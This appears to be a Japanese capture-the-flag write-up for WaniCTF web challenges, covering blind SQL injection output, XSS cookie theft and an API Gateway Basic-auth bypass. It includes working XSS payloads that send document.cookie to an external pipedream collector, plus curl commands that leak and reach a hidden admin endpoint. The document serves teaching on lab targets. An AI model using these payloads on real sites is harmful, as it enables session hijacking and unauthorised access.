$ python3 solve.py F FL FLA FLAG FLAG{ FLAG{b FLAG{bl FLAG{bl1 FLAG{bl1n FLAG{bl1nd FLAG{bl1ndS FLAG{bl1ndSQ FLAG{bl1ndSQL FLAG{bl1ndSQLi FLAG{bl1ndSQLi}
FLAG{bl1ndSQLi}
Wani Request 2
XSS Challenge !!
https://request2.web.wanictf.org/
チャレンジは二つです。
あどみんちゃんのクッキーを手に入れてください。
Wani Request 1 と同じくRequestBinなどを利用してみましょう。
web-wani-request-2.zip
Wani Request 1 と同様に RequestBin を使ってリクエストを待ち受けておく。
まずは、page1 のチャレンジから解いていく。
色々試した結果、page1 は、以下のパラメータで XSS ができた。
https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=alert(1);>
今回は、Cookie を入手することなので、window.open() を使って cookie を RequestBin に送信させる。
https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);>
実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。
flag1: FLAG{y0u_4r3_x55
次に、page2 のチャレンジを解く。
以下のように入力してクリックすると、アラートが表示された。
javascript:alert(1)
よって、page1 と同様に入力することで、Cookie を送信させることができる。
javascript:window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);
実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。
flag2: -60d_c75a4c80cf07}
FLAG{y0u_4r3_x55-60d_c75a4c80cf07}
CloudFront Basic Auth
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
重要なエンドポイントにはBasic認証をつけてみました。
https://cf-basic.web.wanictf.org/
ヒント: 上のURLにアクセスするとexceptionと同じ見た目のWebアプリが表示されますが、添付されているzipファイルにはexceptionの添付ファイルから新しいファイルが追加されています。添付ファイルを参考にもう一つのFLAGを発見してください!
web-cf-basic.zip
template.yaml というファイルが追加されている。 内容を確認してみると、以下のコメントが書かれていた。よって、FQDN が分かれば、admin ページを表示させることができそうだと分かる。
CacheBehaviors: # "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用 - PathPattern: admin AllowedMethods: - HEAD - GET CachedMethods: - HEAD - GET TargetOriginId: ApiGateway ViewerProtocolPolicy: redirect-to-https # Basic認証 LambdaFunctionAssociations: - EventType: viewer-request LambdaFunctionARN: !Ref BasicAuthFunction.Version
exception 問題と同様に例外を発生させて、エラーメッセージを確認すると、boakqtdih8.execute-api.us-east-1.amazonaws.com
と書かれていた。
$ curl https://cf-basic.web.wanictf.org/hello -X POST -H "Content-Type: application/json" -d '{"name":[]}' --silent | jq . | grep execute-api "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "boakqtdih8.execute-api.us-east-1.amazonaws.com" "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
FQDN が判明したので、以下のようにアクセスすると、フラグが表示された。
$ curl https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin FLAG{ap1_g4teway_acc3ss_con7rol}
FLAG{ap1_g4teway_acc3ss_con7rol}